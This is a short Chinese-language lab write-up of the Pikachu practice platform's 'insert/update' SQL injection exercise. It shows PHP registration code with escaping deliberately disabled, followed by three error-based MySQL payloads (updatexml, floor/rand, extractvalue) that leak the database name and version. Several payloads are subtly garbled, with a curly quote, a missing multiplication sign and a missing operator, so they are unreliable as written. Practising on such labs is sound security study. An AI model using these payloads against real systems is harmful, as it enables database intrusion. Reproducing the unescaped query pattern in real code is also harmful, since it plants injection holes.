Pikachu 漏洞练习平台 “insert/updata”注入
源代码
$html='';
if(isset($_POST['submit'])){
if($_POST['username']!=null &&$_POST['password']!=null){
// $getdata=escape($link, $_POST);//转义
//没转义,导致注入漏洞,操作类型为insert
$getdata=$_POST;
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
$html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
}else {
$html.="<p>注册失败,请检查下数据库是否还活着</p>";
}
}else{
$html.="<p>必填项不能为空哦</p>";
}
}
注入Payload
- kobe’ or updatexml(1,concat(0x7e,database()),0) or '
- *kobe’ and (select 2 from (select count(*),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a)#
- kobe’ extractvalue(0,concat(0x7e,version())) #
UPDATEXML (XML_document, XPath_string, new_value);
XML_document是String格式,为XML文档对象的名称;
XPath_string (Xpath格式的字符串) ;
new_value,String格式,替换查找到的符合条件的数据 ;
作用:改变文档中符合条件的节点的值。
FLOOR()函数可参考
SQL注入:floor()报错注入